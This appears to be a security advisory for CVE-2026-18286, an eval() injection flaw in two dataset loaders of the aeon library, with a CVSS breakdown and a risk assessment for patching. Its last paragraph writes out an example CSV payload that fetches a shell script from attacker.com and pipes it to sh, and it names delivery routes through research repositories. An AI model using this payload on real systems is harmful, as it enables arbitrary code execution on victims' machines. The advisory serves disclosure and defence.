aeon CVE-2026-18286

Exploitation requires the victim to invoke load_human_activity_segmentation_datasets or load_time_series_segmentation_benchmark against a malicious CSV file - either by opening the file directly or by visiting a web page that triggers the dataset load via the aeon API. The attacker needs no account or authentication on the victim's system; the entire attack is delivered through the crafted file content. The primary limiting factors are: (1) UI:R - the victim must actively load the malicious dataset, requiring social engineering or supply-chain poisoning; (2) aeon version 1.3.0 must be installed; (3) the victim must be using one of the two specific loader functions, not aeon generally. Default aeon installations with no dataset loading are not exposed.

The CVSS 3.0 score of 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) accurately reflects a local, file-triggered attack requiring user interaction, which materially limits opportunistic mass exploitation compared to network-vectored vulnerabilities. EPSS data is absent from the provided intelligence, so quantitative exploitation probability cannot be stated. The vulnerability is not in CISA KEV, and no public exploit code has been identified; however, ZDI's involvement means a detailed technical write-up with reproduction steps likely exists in their controlled pipeline and may publish after the advisory window closes. Full C:H/I:H/A:H impact is credible - successful eval() injection yields unrestricted arbitrary code execution in the victim's Python process. The UI:R constraint means exploitation depends on social engineering or supply-chain poisoning of research datasets, reducing automatable risk. Real-world priority is moderate: aeon's user base is primarily researchers and data scientists who routinely import third-party datasets, which is precisely the delivery vector this vulnerability exploits, so even a small team regularly ingesting external data should treat patching as urgent.

An attacker crafts a CSV dataset file where one of the numpy array columns contains an embedded Python expression such as __import__('subprocess').run(['curl','attacker.com/shell.sh','|','sh'],shell=True). The file is distributed via a research data repository, email attachment, or a webpage that auto-triggers a dataset download and load. When a data scientist calls load_human_activity_segmentation_datasets with the malicious file, eval() executes the payload immediately in the Python interpreter with the user's full OS privileges.